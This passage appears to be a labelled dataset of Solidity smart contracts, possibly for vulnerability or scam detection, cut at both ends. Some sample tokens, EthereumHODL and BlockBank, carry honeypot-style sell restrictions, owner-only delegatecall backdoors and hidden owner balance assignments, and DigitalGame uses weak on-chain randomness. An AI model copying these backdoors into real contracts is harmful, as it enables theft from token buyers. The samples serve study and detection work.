function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EthereumHODL{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,588 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Coallition is Owned {
using SafeMath for uint;
mapping(uint256 => address) members;
mapping(address => uint256) shares;
uint256 total;
constructor () public {
}
function addmember(uint256 index , address newmember) public onlyOwner {
members[index] = newmember;
}
function addshares(uint256 sharestoadd , address member) public onlyOwner {
shares[member] += sharestoadd;
}
function deductshares(uint256 sharestoadd , address member) public onlyOwner {
shares[member] -= sharestoadd;
}
function setshares(uint256 sharestoadd , address member) public onlyOwner {
shares[member] = sharestoadd;
}
function settotal(uint256 set) public onlyOwner {
total = set;
}
function payout() public payable {
for(uint i=0; i< total; i++)
{
uint256 totalshares;
totalshares += shares[members[i]];
}
uint256 base = msg.value.div(totalshares);
for(i=0; i< total; i++)
{
uint256 amounttotransfer = base.mul(shares[members[i]]);
members[i].transfer(amounttotransfer);
}
}
function () external payable{payout();}
} | 1 | 4,101 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BlockBank is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 400000000000000000000000000;
string public name = "BlockBank";
string public symbol = "BBANK";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 1,590 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Leimen is owned{
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
function Leimen() public {
totalSupply = 1000000000 * 100 ;
balanceOf[msg.sender] = totalSupply ;
name = "Leimen coin";
symbol = "Leim";
}
mapping (address => bool) public frozenAccount;
uint256 public eth_amount ;
bool public stoptransfer ;
bool public stopsell;
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function set_prices(uint256 _eth_amount) onlyOwner {
eth_amount = _eth_amount ;
}
function withdraw_Leim(uint256 amount) onlyOwner {
require(balanceOf[this] >= amount) ;
balanceOf[this] -= amount ;
balanceOf[msg.sender] += amount ;
}
function withdraw_Eth(uint amount_wei) onlyOwner {
msg.sender.transfer(amount_wei) ;
}
function set_Name(string _name) onlyOwner {
name = _name;
}
function set_symbol(string _symbol) onlyOwner {
symbol = _symbol;
}
function set_stopsell(bool _stopsell) onlyOwner {
stopsell = _stopsell;
}
function set_stoptransfer(bool _stoptransfer) onlyOwner {
stoptransfer = _stoptransfer;
}
function burn(uint256 _value) onlyOwner {
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!frozenAccount[_from]);
require(!stoptransfer);
require(_to != 0x0);
require(_value >= 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function () payable {
buy();
}
function buy() payable returns (uint amount){
require(!stopsell);
amount = msg.value * eth_amount / (10 ** 16) ;
require(balanceOf[this] >= amount);
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
} | 1 | 2,822 |
pragma solidity ^0.4.24;
contract DigitalGame {
uint constant MIN_BET_MONEY = 1 finney;
uint constant MAX_BET_MONEY = 10 ether;
uint constant MIN_BET_NUMBER = 2;
uint constant MAX_STAGE = 5;
uint constant FIRST_GENERATION_REWARD = 5;
uint constant SECOND_GENERATION_REWARD = 3;
uint constant THIRD_GENERATION_REWARD = 2;
address public OWNER_ADDR;
address public RECOMM_ADDR;
address public SPARE_RECOMM_ADDR;
uint public lastStage;
uint public lastRound;
struct UserRecomm {
address addr;
}
struct StageInfo {
uint round;
bytes32 seedHash;
uint userNumber;
uint amount;
uint lastTime;
}
struct UserBet {
address addr;
uint amount;
uint[] content;
uint count;
uint createAt;
}
address[] private userRecomms;
UserBet[] private WaitAwardBets;
mapping(uint => StageInfo) public stages;
mapping(address => address) public users;
mapping(uint => UserBet[]) public userBets;
mapping(uint => mapping(uint => mapping(address => bool))) private userBetAddrs;
event eventUserBet(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint createAt
);
event eventLottery(
string eventType,
uint stage,
uint round,
uint[] lotteryContent,
uint createAt
);
event eventDividend(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint level,
address recommAddr,
uint recommReward,
uint createAt
);
event eventReward(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint[] lotteryContent,
uint reward,
uint createAt
);
modifier checkBetTime(uint lastTime) {
require(now <= lastTime + 5 minutes, 'Current time is not allowed to bet');
_;
}
modifier checkRewardTime(uint lastTime) {
require(
now >= lastTime + 10 minutes,
'Current time is not allowed to reward'
);
_;
}
modifier isSecretNumber(uint stage, string seed) {
require(
keccak256(abi.encodePacked(seed)) == stages[stage].seedHash,
'Encrypted numbers are illegal'
);
_;
}
modifier verifyStage(uint stage) {
require(
stage >= 1 && stage <= MAX_STAGE,
'Stage no greater than 5 (MAX_STAGE)'
);
_;
}
modifier verifySeedHash(uint stage, bytes32 seedHash) {
require(
stages[stage].seedHash == seedHash && seedHash != 0,
'The hash of the stage is illegal'
);
_;
}
modifier onlyOwner() {
require(OWNER_ADDR == msg.sender, 'Permission denied');
_;
}
constructor() public {
for (uint i = 1; i <= MAX_STAGE; i++) {
stages[i].round = 1;
stages[i].seedHash = 0x0;
stages[i].userNumber = 0;
stages[i].amount = 0;
stages[i].lastTime = now;
}
OWNER_ADDR = msg.sender;
RECOMM_ADDR = msg.sender;
SPARE_RECOMM_ADDR = msg.sender;
lastStage = 1;
lastRound = 1;
}
function bet(
uint stage,
uint round,
uint[] content,
uint count,
address recommAddr,
bytes32 seedHash
) public
payable
verifyStage(stage)
verifySeedHash(stage, seedHash)
checkBetTime(stages[stage].lastTime) {
require(stages[stage].round == round, 'Round illegal');
require(content.length == 3, 'The bet is 3 digits');
require((
msg.value >= MIN_BET_MONEY
&& msg.value <= MAX_BET_MONEY
&& msg.value == MIN_BET_MONEY * (10 ** (stage - 1)) * count
),
'The amount of the bet is illegal'
);
require(msg.sender != recommAddr, 'The recommender cannot be himself');
if (users[msg.sender] == 0) {
if (recommAddr != RECOMM_ADDR) {
require(
users[recommAddr] != 0,
'Referrer is not legal'
);
}
users[msg.sender] = recommAddr;
}
generateUserRelation(msg.sender, 3);
require(userRecomms.length <= 3, 'User relationship error');
sendInviteDividends(stage, round, count, content);
if (!userBetAddrs[stage][stages[stage].round][msg.sender]) {
stages[stage].userNumber++;
userBetAddrs[stage][stages[stage].round][msg.sender] = true;
}
userBets[stage].push(UserBet(
msg.sender,
msg.value,
content,
count,
now
));
emit eventUserBet(
'userBet',
msg.sender,
msg.value,
stage,
round,
count,
content,
now
);
}
function generateUserRelation(
address addr,
uint generation
) private returns(bool) {
userRecomms.push(users[addr]);
if (users[addr] != RECOMM_ADDR && users[addr] != 0 && generation > 1) {
generateUserRelation(users[addr], generation - 1);
}
}
function sendInviteDividends(
uint stage,
uint round,
uint count,
uint[] content
) private {
uint[3] memory GENERATION_REWARD = [
FIRST_GENERATION_REWARD,
SECOND_GENERATION_REWARD,
THIRD_GENERATION_REWARD
];
uint recomms = 0;
for (uint j = 0; j < userRecomms.length; j++) {
recomms += msg.value * GENERATION_REWARD[j] / 1000;
userRecomms[j].transfer(msg.value * GENERATION_REWARD[j] / 1000);
emit eventDividend(
'dividend',
msg.sender,
msg.value,
stage,
round,
count,
content,
j,
userRecomms[j],
msg.value * GENERATION_REWARD[j] / 1000,
now
);
}
stages[stage].amount += (msg.value - recomms);
delete userRecomms;
}
function distributionReward(
uint stage,
string seed,
bytes32 seedHash
) public
checkRewardTime(stages[stage].lastTime)
isSecretNumber(stage, seed)
verifyStage(stage)
onlyOwner {
if (stages[stage].userNumber >= MIN_BET_NUMBER) {
uint[] memory randoms = generateRandom(
seed,
stage,
userBets[stage].length
);
require(randoms.length == 3, 'Random number is illegal');
bool isReward = CalcWinnersAndReward(randoms, stage);
emit eventLottery(
'lottery',
stage,
stages[stage].round,
randoms,
now
);
if (isReward) {
stages[stage].amount = 0;
lastStage = stage;
lastRound = stages[stage].round;
}
delete userBets[stage];
stages[stage].round += 1;
stages[stage].userNumber = 0;
stages[stage].seedHash = seedHash;
stages[stage].lastTime = now + 5 minutes;
} else {
stages[stage].lastTime = now;
}
}
function CalcWinnersAndReward(
uint[] randoms,
uint stage
) private onlyOwner returns(bool) {
uint counts = 0;
for (uint i = 0; i < userBets[stage].length; i++) {
if (randoms[0] == userBets[stage][i].content[0]
&& randoms[1] == userBets[stage][i].content[1]
&& randoms[2] == userBets[stage][i].content[2]) {
counts = counts + userBets[stage][i].count;
WaitAwardBets.push(UserBet(
userBets[stage][i].addr,
userBets[stage][i].amount,
userBets[stage][i].content,
userBets[stage][i].count,
userBets[stage][i].createAt
));
}
}
if (WaitAwardBets.length == 0) {
for (uint j = 0; j < userBets[stage].length; j++) {
if ((randoms[0] == userBets[stage][j].content[0]
&& randoms[1] == userBets[stage][j].content[1])
|| (randoms[1] == userBets[stage][j].content[1]
&& randoms[2] == userBets[stage][j].content[2])
|| (randoms[0] == userBets[stage][j].content[0]
&& randoms[2] == userBets[stage][j].content[2])) {
counts += userBets[stage][j].count;
WaitAwardBets.push(UserBet(
userBets[stage][j].addr,
userBets[stage][j].amount,
userBets[stage][j].content,
userBets[stage][j].count,
userBets[stage][j].createAt
));
}
}
}
if (WaitAwardBets.length == 0) {
for (uint k = 0; k < userBets[stage].length; k++) {
if (randoms[0] == userBets[stage][k].content[0]
|| randoms[1] == userBets[stage][k].content[1]
|| randoms[2] == userBets[stage][k].content[2]) {
counts += userBets[stage][k].count;
WaitAwardBets.push(UserBet(
userBets[stage][k].addr,
userBets[stage][k].amount,
userBets[stage][k].content,
userBets[stage][k].count,
userBets[stage][k].createAt
));
}
}
}
uint extractReward = stages[stage].amount / 100;
RECOMM_ADDR.transfer(extractReward);
SPARE_RECOMM_ADDR.transfer(extractReward);
OWNER_ADDR.transfer(extractReward);
if (WaitAwardBets.length != 0) {
issueReward(stage, extractReward, randoms, counts);
delete WaitAwardBets;
return true;
}
stages[stage].amount = stages[stage].amount - extractReward - extractReward - extractReward;
return false;
}
function issueReward(
uint stage,
uint extractReward,
uint[] randoms,
uint counts
) private onlyOwner {
uint userAward = stages[stage].amount - extractReward - extractReward - extractReward;
for (uint m = 0; m < WaitAwardBets.length; m++) {
uint reward = userAward * WaitAwardBets[m].count / counts;
WaitAwardBets[m].addr.transfer(reward);
emit eventReward(
'reward',
WaitAwardBets[m].addr,
WaitAwardBets[m].amount,
stage,
stages[stage].round,
WaitAwardBets[m].count,
WaitAwardBets[m].content,
randoms,
reward,
now
);
}
}
function generateRandom(
string seed,
uint stage,
uint betNum
) private view onlyOwner
isSecretNumber(stage, seed) returns(uint[]) {
uint[] memory randoms = new uint[](3);
for (uint i = 0; i < 3; i++) {
randoms[i] = uint(
keccak256(abi.encodePacked(betNum, block.difficulty, seed, now, i))
) % 9 + 1;
}
return randoms;
}
function setSeedHash(uint stage, bytes32 seedHash) public onlyOwner {
require(
stages[stage].seedHash == 0,
'No need to set seed hash'
);
stages[stage].seedHash = seedHash;
}
function setDefaultRecommAddr(address _RECOMM_ADDR) public onlyOwner {
RECOMM_ADDR = _RECOMM_ADDR;
}
function setSpareRecommAddr(address _SPARE_RECOMM_ADDR) public onlyOwner {
SPARE_RECOMM_ADDR = _SPARE_RECOMM_ADDR;
}
function getDefaultRecommAddr() public view returns(address) {
return RECOMM_ADDR;
}
function getSpareRecommAddr() public view returns(address) {
return SPARE_RECOMM_ADDR;
}
} | 0 | 973 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
